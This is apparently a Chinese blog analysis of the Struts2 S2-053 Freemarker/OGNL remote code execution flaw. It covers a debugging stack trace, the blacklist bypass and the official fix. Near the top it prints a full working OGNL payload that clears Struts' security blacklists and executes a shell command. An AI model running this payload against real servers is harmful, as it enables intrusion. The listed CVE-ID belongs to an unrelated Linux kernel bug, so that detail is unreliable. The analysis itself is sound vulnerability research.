Struts 2.0 S2-053漏洞分析
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漏洞概述
漏洞类型
远程代码执行漏洞
CVE-ID
CVE-2017-1000112
危害等级
高危
影响版本
Struts 2.0.1Struts 2.3.33Struts 2.5 – Struts 2.5.10
漏洞危害
当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当做表达式进行执行，最后导致代码执行。
poc示例
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}poc调试
简单阅读poc后，按照惯例，将断点打在ProcessBuilder类的start()方法
//java.lang.ProcessBuilderpublic Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied // list might try to circumvent the security check. String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();
for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty String prog = cmdarray[0];
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
String dir = directory == null ? null : directory.toString();
for (int i = 1; i < cmdarray.length; i++) {
if (cmdarray[i].indexOf('\u0000') >= 0) {
throw new IOException("invalid null character in command");
}
}
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
} catch (IOException | IllegalArgumentException e) {
String exceptionInfo = ": " + e.getMessage();
Throwable cause = e;
if ((e instanceof IOException) && security != null) {
// Can not disclose the fail reason for read-protected files. try {
security.checkRead(prog);
} catch (SecurityException se) {
exceptionInfo = "";
cause = se;
}
}
// It's much easier for us to create a high-quality error // message than the low-level C code which found the problem. throw new IOException(
"Cannot run program \"" + prog + "\"" + (dir == null ? "" : " (in directory \"" + dir + "\")")
+ exceptionInfo,
cause);
}
}进入断点，我们拿到了方法的调用栈信息
"qtp407997647-16@2296" prio=5 tid=0x10 nid=NA runnable
java.lang.Thread.State: RUNNABLE
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:873)
- locked <0x1393> (a java.lang.reflect.Method)
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1539)
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:96)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:88)
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:1615)
at ognl.ASTMethod.getValueBody(ASTMethod.java:91)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTChain.getValueBody(ASTChain.java:141)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTAssign.getValueBody(ASTAssign.java:52)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTChain.getValueBody(ASTChain.java:141)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.Ognl.getValue(Ognl.java:467)
at com.opensymphony.xwork2.ognl.OgnlUtil$4.execute(OgnlUtil.java:359)
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:382)
at com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:357)
at com.opensymphony.xwork2.ognl.OgnlValueStack.getValue(OgnlValueStack.java:360)
at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValue(OgnlValueStack.java:348)
at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValueWhenExpressionIsNotNull(OgnlValueStack.java:323)
at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:307)
at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:368)
at com.opensymphony.xwork2.util.TextParseUtil$1.evaluate(TextParseUtil.java:156)
at com.opensymphony.xwork2.util.OgnlTextParser.evaluate(OgnlTextParser.java:49)
at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:166)
at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:109)
at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:82)
at org.apache.struts2.components.Component.findValue(Component.java:377)
at org.apache.struts2.components.Component.findString(Component.java:223)
at org.apache.struts2.components.URL.findString(URL.java:150)
at org.apache.struts2.components.ComponentUrlProvider.findString(ComponentUrlProvider.java:76)
at org.apache.struts2.components.ServletUrlRenderer.beforeRenderUrl(ServletUrlRenderer.java:242)
at org.apache.struts2.components.URL.start(URL.java:140)
at org.apache.struts2.views.freemarker.tags.CallbackWriter.onStart(CallbackWriter.java:73)
at freemarker.core.Environment.visitAndTransform(Environment.java:422)
at freemarker.core.UnifiedCall.accept(UnifiedCall.java:107)
at freemarker.core.Environment.visit(Environment.java:324)
at freemarker.core.MixedContent.accept(MixedContent.java:54)
at freemarker.core.Environment.visit(Environment.java:324)
at freemarker.core.Environment.process(Environment.java:302)
at freemarker.template.Template.process(Template.java:325)
at org.apache.struts2.views.freemarker.FreemarkerResult.doExecute(FreemarkerResult.java:233)
at org.apache.struts2.result.StrutsResultSupport.execute(StrutsResultSupport.java:208)
at com.opensymphony.xwork2.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:373)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:277)
at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:253)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:177)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:260)
at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:73)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:139)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:192)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:69)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:115)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:88)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:248)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:155)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:120)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:171)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:195)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:54)
at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)
at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)这个漏洞跟数量繁多的Interceptor没有什么关系，我们直接将注意力集中到freemarker渲染完成后的代码。freemarker给struts2返回的对象仍然含有客户端传入的ognl表达式，struts2框架就这样执行了我们构造的恶意代码。
//org.apache.struts2.components.component
/
Evaluates the OGNL stack to find an Object of the given type. Will evaluate
expr the portion wrapped with altSyntax (%{...})
against stack when altSyntax is on, else the whole expr
is evaluated against the stack.
This method only supports the altSyntax. So this should be set to true.
@param expr OGNL expression.
@param toType the type expected to find.
@return the Object found, or null if not found.
/
protected Object findValue(String expr, Class toType) {
if (altSyntax() && toType == String.class) {
if (ComponentUtils.containsExpression(expr)) {
return TextParseUtil.translateVariables('%', expr, stack);
} else {
return expr;
}
} else {
expr = stripExpressionIfAltSyntax(expr);
return getStack().findValue(expr, toType, throwExceptionOnELFailure);
}
}看到这里，我们不禁疑惑，struts2的代码就写的这么不安全，没有对表达式做任何处理吗？其实不是的，我们看下面的代码很明显是一个黑名单机制，感兴趣的朋友可以打断点看看，示例POC里的很多类都榜上有名
//com.opensymphony.xwork2.ognl.OgnlValueStack@Inject public void setOgnlUtil(OgnlUtil ognlUtil) {
this.ognlUtil = ognlUtil;
securityMemberAccess.setExcludedClasses(ognlUtil.getExcludedClasses());
securityMemberAccess.setExcludedPackageNamePatterns(ognlUtil.getExcludedPackageNamePatterns());
securityMemberAccess.setExcludedPackageNames(ognlUtil.getExcludedPackageNames());
securityMemberAccess.setDisallowProxyMemberAccess(ognlUtil.isDisallowProxyMemberAccess());
}然而，道高一尺，魔高一丈，以彼之矛攻彼之盾。我们直接把用ognl把黑名单给删了。所有的类都可以畅通无阻的构造和执行方法。
(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())官方修复
官方的修复方法很是巧妙，并没有去增加额外的过滤我们看一下2.5.10的代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames);
}以及2.5.12的代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames));
}再回顾我们绕过黑名单的代码
#ognlUtil.getExcludedPackageNames().clear()struts2针对这种作弊的方法，将excludedPackageNames设为了UnmodifiableSet类型的对象，在这个对象上调用clear()方法，就会抛出java.lang.UnsupportedOperationException类型的异常，程序进入异常处理分支，避免了后续恶意代码的执行
总结
这个漏洞出现的条件比较苛刻，需要使用struts2和freemarker，而且需要编码人员有疏漏。然而这并不会改变这是一个高危漏洞的事实。一旦网站被发现了这个漏洞，后果将是灾难性的。建议struts2使用者还是尽快升级版本
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